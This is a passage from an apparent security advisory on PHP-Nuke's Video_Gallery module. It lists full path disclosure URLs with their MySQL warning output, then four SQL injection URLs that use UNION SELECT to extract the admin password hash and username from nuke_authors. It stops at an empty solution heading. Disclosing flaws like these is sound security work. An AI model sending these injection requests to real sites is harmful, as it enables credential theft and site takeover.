2.- Full path disclosure: ¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨
This vulnerability would allow a remote user to determine the full
path to the web root directory and other potentially sensitive information.
A) http://[target]/modules.php?name=Video_Gallery&l_op=viewcat&catid=darkbicho
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /home/hosting/php-nuke/includes/sql_layer.php on line 286
B) http://[target]/modules.php?name=Video_Gallery&l_op=viewclip&clipid=darkbicho&catid=1
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /home/hosting/php-nuke/includes/sql_layer.php on line 286
3.- Sql injection:
¨¨¨¨¨¨¨¨¨¨¨¨¨¨
This sql injection exploit can pull out from database any information, for example
superadmin's username and password's md5 hash:
A) http://[target]/modules.php?name=Video_Gallery&l_op=viewclip&clipid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors&catid=1
B) http://[target]/modules.php?name=Video_Gallery&l_op=viewcat&catid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors
c) http://[target]/modules.php?name=Video_Gallery&l_op=viewclip&clipid=-1%20UNION%20SELECT%20name%20FROM%20nuke_authors&catid=1
D) http://[target]/modules.php?name=Video_Gallery&l_op=voteclip&clipid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors&catid=1
SOLUTION:
